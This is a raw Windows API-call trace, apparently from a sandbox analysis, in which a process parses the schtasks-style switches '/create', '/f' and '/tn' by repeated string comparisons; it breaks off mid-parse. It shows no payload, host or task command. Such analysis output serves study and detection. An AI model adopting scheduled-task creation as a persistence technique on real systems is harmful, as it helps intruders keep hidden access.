[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="st") returned 2
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="sd") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="ed") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="it") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="et") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="k") returned 1
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="du") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="ri") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="z") returned 1
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="f") returned 1
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="v1") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="xml") returned 3
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="ec") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="rl") returned 2
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="delay") returned 5
[0180.743] GetThreadLocale () returned 0x409
[0180.743] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.743] lstrlenW (lpString="np") returned 2
[0180.743] SetLastError (dwErrCode=0x0)
[0180.743] SetLastError (dwErrCode=0x0)
[0180.743] lstrlenW (lpString="/create") returned 7
[0180.743] lstrlenW (lpString="-/") returned 2
[0180.743] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.743] lstrlenW (lpString="create") returned 6
[0180.743] lstrlenW (lpString="create") returned 6
[0180.743] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.743] lstrlenW (lpString="create") returned 6
[0180.743] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8
[0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8
[0180.744] lstrlenW (lpString="|create|") returned 8
[0180.744] lstrlenW (lpString="|create|") returned 8
[0180.744] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|"
[0180.744] SetLastError (dwErrCode=0x0)
[0180.744] SetLastError (dwErrCode=0x0)
[0180.744] SetLastError (dwErrCode=0x0)
[0180.744] lstrlenW (lpString="/f") returned 2
[0180.744] lstrlenW (lpString="-/") returned 2
[0180.744] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.744] lstrlenW (lpString="create") returned 6
[0180.744] lstrlenW (lpString="create") returned 6
[0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] lstrlenW (lpString="f") returned 1
[0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8
[0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.744] lstrlenW (lpString="|create|") returned 8
[0180.744] lstrlenW (lpString="|f|") returned 3
[0180.744] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0
[0180.744] SetLastError (dwErrCode=0x490)
[0180.744] lstrlenW (lpString="?") returned 1
[0180.744] lstrlenW (lpString="?") returned 1
[0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] lstrlenW (lpString="f") returned 1
[0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|?|") returned 3
[0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.744] lstrlenW (lpString="|?|") returned 3
[0180.744] lstrlenW (lpString="|f|") returned 3
[0180.744] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0
[0180.744] SetLastError (dwErrCode=0x490)
[0180.744] lstrlenW (lpString="s") returned 1
[0180.744] lstrlenW (lpString="s") returned 1
[0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] lstrlenW (lpString="f") returned 1
[0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|s|") returned 3
[0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.744] lstrlenW (lpString="|s|") returned 3
[0180.744] lstrlenW (lpString="|f|") returned 3
[0180.744] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0
[0180.744] SetLastError (dwErrCode=0x490)
[0180.744] lstrlenW (lpString="u") returned 1
[0180.744] lstrlenW (lpString="u") returned 1
[0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] lstrlenW (lpString="f") returned 1
[0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|u|") returned 3
[0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.744] lstrlenW (lpString="|u|") returned 3
[0180.744] lstrlenW (lpString="|f|") returned 3
[0180.744] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0
[0180.745] SetLastError (dwErrCode=0x490)
[0180.745] lstrlenW (lpString="p") returned 1
[0180.745] lstrlenW (lpString="p") returned 1
[0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] lstrlenW (lpString="f") returned 1
[0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|p|") returned 3
[0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.745] lstrlenW (lpString="|p|") returned 3
[0180.745] lstrlenW (lpString="|f|") returned 3
[0180.745] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0
[0180.745] SetLastError (dwErrCode=0x490)
[0180.745] lstrlenW (lpString="ru") returned 2
[0180.745] lstrlenW (lpString="ru") returned 2
[0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] lstrlenW (lpString="f") returned 1
[0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ru|") returned 4
[0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.745] lstrlenW (lpString="|ru|") returned 4
[0180.745] lstrlenW (lpString="|f|") returned 3
[0180.745] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0
[0180.745] SetLastError (dwErrCode=0x490)
[0180.745] lstrlenW (lpString="rp") returned 2
[0180.745] lstrlenW (lpString="rp") returned 2
[0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] lstrlenW (lpString="f") returned 1
[0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|rp|") returned 4
[0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.745] lstrlenW (lpString="|rp|") returned 4
[0180.745] lstrlenW (lpString="|f|") returned 3
[0180.745] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0
[0180.745] SetLastError (dwErrCode=0x490)
[0180.745] lstrlenW (lpString="sc") returned 2
[0180.745] lstrlenW (lpString="sc") returned 2
[0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] lstrlenW (lpString="f") returned 1
[0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sc|") returned 4
[0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.745] lstrlenW (lpString="|sc|") returned 4
[0180.745] lstrlenW (lpString="|f|") returned 3
[0180.745] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0
[0180.745] SetLastError (dwErrCode=0x490)
[0180.745] lstrlenW (lpString="mo") returned 2
[0180.745] lstrlenW (lpString="mo") returned 2
[0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] lstrlenW (lpString="f") returned 1
[0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|mo|") returned 4
[0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.746] lstrlenW (lpString="|mo|") returned 4
[0180.746] lstrlenW (lpString="|f|") returned 3
[0180.746] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0
[0180.746] SetLastError (dwErrCode=0x490)
[0180.746] lstrlenW (lpString="d") returned 1
[0180.746] lstrlenW (lpString="d") returned 1
[0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] lstrlenW (lpString="f") returned 1
[0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|d|") returned 3
[0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.746] lstrlenW (lpString="|d|") returned 3
[0180.746] lstrlenW (lpString="|f|") returned 3
[0180.746] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0
[0180.746] SetLastError (dwErrCode=0x490)
[0180.746] lstrlenW (lpString="m") returned 1
[0180.746] lstrlenW (lpString="m") returned 1
[0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] lstrlenW (lpString="f") returned 1
[0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|m|") returned 3
[0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.746] lstrlenW (lpString="|m|") returned 3
[0180.746] lstrlenW (lpString="|f|") returned 3
[0180.746] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0
[0180.746] SetLastError (dwErrCode=0x490)
[0180.746] lstrlenW (lpString="i") returned 1
[0180.746] lstrlenW (lpString="i") returned 1
[0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] lstrlenW (lpString="f") returned 1
[0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|i|") returned 3
[0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.746] lstrlenW (lpString="|i|") returned 3
[0180.746] lstrlenW (lpString="|f|") returned 3
[0180.746] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0
[0180.746] SetLastError (dwErrCode=0x490)
[0180.746] lstrlenW (lpString="tn") returned 2
[0180.746] lstrlenW (lpString="tn") returned 2
[0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] lstrlenW (lpString="f") returned 1
[0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.746] lstrlenW (lpString="|tn|") returned 4
[0180.746] lstrlenW (lpString="|f|") returned 3
[0180.746] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0
[0180.746] SetLastError (dwErrCode=0x490)
[0180.746] lstrlenW (lpString="tr") returned 2
[0180.746] lstrlenW (lpString="tr") returned 2
[0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.746] lstrlenW (lpString="f") returned 1
[0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tr|") returned 4
[0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.747] lstrlenW (lpString="|tr|") returned 4
[0180.747] lstrlenW (lpString="|f|") returned 3
[0180.747] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0
[0180.747] SetLastError (dwErrCode=0x490)
[0180.747] lstrlenW (lpString="st") returned 2
[0180.747] lstrlenW (lpString="st") returned 2
[0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] lstrlenW (lpString="f") returned 1
[0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|st|") returned 4
[0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.747] lstrlenW (lpString="|st|") returned 4
[0180.747] lstrlenW (lpString="|f|") returned 3
[0180.747] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0
[0180.747] SetLastError (dwErrCode=0x490)
[0180.747] lstrlenW (lpString="sd") returned 2
[0180.747] lstrlenW (lpString="sd") returned 2
[0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] lstrlenW (lpString="f") returned 1
[0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sd|") returned 4
[0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.747] lstrlenW (lpString="|sd|") returned 4
[0180.747] lstrlenW (lpString="|f|") returned 3
[0180.747] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0
[0180.747] SetLastError (dwErrCode=0x490)
[0180.747] lstrlenW (lpString="ed") returned 2
[0180.747] lstrlenW (lpString="ed") returned 2
[0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] lstrlenW (lpString="f") returned 1
[0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ed|") returned 4
[0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.747] lstrlenW (lpString="|ed|") returned 4
[0180.747] lstrlenW (lpString="|f|") returned 3
[0180.747] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0
[0180.747] SetLastError (dwErrCode=0x490)
[0180.747] lstrlenW (lpString="it") returned 2
[0180.747] lstrlenW (lpString="it") returned 2
[0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] lstrlenW (lpString="f") returned 1
[0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|it|") returned 4
[0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.747] lstrlenW (lpString="|it|") returned 4
[0180.747] lstrlenW (lpString="|f|") returned 3
[0180.747] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0
[0180.747] SetLastError (dwErrCode=0x490)
[0180.747] lstrlenW (lpString="et") returned 2
[0180.748] lstrlenW (lpString="et") returned 2
[0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] lstrlenW (lpString="f") returned 1
[0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|et|") returned 4
[0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.748] lstrlenW (lpString="|et|") returned 4
[0180.748] lstrlenW (lpString="|f|") returned 3
[0180.748] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0
[0180.748] SetLastError (dwErrCode=0x490)
[0180.748] lstrlenW (lpString="k") returned 1
[0180.748] lstrlenW (lpString="k") returned 1
[0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] lstrlenW (lpString="f") returned 1
[0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|k|") returned 3
[0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.748] lstrlenW (lpString="|k|") returned 3
[0180.748] lstrlenW (lpString="|f|") returned 3
[0180.748] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0
[0180.748] SetLastError (dwErrCode=0x490)
[0180.748] lstrlenW (lpString="du") returned 2
[0180.748] lstrlenW (lpString="du") returned 2
[0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] lstrlenW (lpString="f") returned 1
[0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|du|") returned 4
[0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.748] lstrlenW (lpString="|du|") returned 4
[0180.748] lstrlenW (lpString="|f|") returned 3
[0180.748] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0
[0180.748] SetLastError (dwErrCode=0x490)
[0180.748] lstrlenW (lpString="ri") returned 2
[0180.748] lstrlenW (lpString="ri") returned 2
[0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] lstrlenW (lpString="f") returned 1
[0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ri|") returned 4
[0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.748] lstrlenW (lpString="|ri|") returned 4
[0180.748] lstrlenW (lpString="|f|") returned 3
[0180.748] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0
[0180.748] SetLastError (dwErrCode=0x490)
[0180.748] lstrlenW (lpString="z") returned 1
[0180.748] lstrlenW (lpString="z") returned 1
[0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] lstrlenW (lpString="f") returned 1
[0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|z|") returned 3
[0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.748] lstrlenW (lpString="|z|") returned 3
[0180.749] lstrlenW (lpString="|f|") returned 3
[0180.749] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0
[0180.749] SetLastError (dwErrCode=0x490)
[0180.749] lstrlenW (lpString="f") returned 1
[0180.749] lstrlenW (lpString="f") returned 1
[0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] lstrlenW (lpString="f") returned 1
[0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.749] lstrlenW (lpString="|f|") returned 3
[0180.749] lstrlenW (lpString="|f|") returned 3
[0180.749] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|"
[0180.749] SetLastError (dwErrCode=0x0)
[0180.749] SetLastError (dwErrCode=0x0)
[0180.749] SetLastError (dwErrCode=0x0)
[0180.749] lstrlenW (lpString="/tn") returned 3
[0180.749] lstrlenW (lpString="-/") returned 2
[0180.749] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.749] lstrlenW (lpString="create") returned 6
[0180.749] lstrlenW (lpString="create") returned 6
[0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] lstrlenW (lpString="tn") returned 2
[0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8
[0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.749] lstrlenW (lpString="|create|") returned 8
[0180.749] lstrlenW (lpString="|tn|") returned 4
[0180.749] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0
[0180.749] SetLastError (dwErrCode=0x490)
[0180.749] lstrlenW (lpString="?") returned 1
[0180.749] lstrlenW (lpString="?") returned 1
[0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] lstrlenW (lpString="tn") returned 2
[0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|?|") returned 3
[0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.749] lstrlenW (lpString="|?|") returned 3
[0180.749] lstrlenW (lpString="|tn|") returned 4
[0180.749] SetLastError (dwErrCode=0x490)
[0180.749] lstrlenW (lpString="s") returned 1
[0180.749] lstrlenW (lpString="s") returned 1
[0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] lstrlenW (lpString="tn") returned 2
[0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|s|") returned 3
[0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.749] lstrlenW (lpString="|s|") returned 3
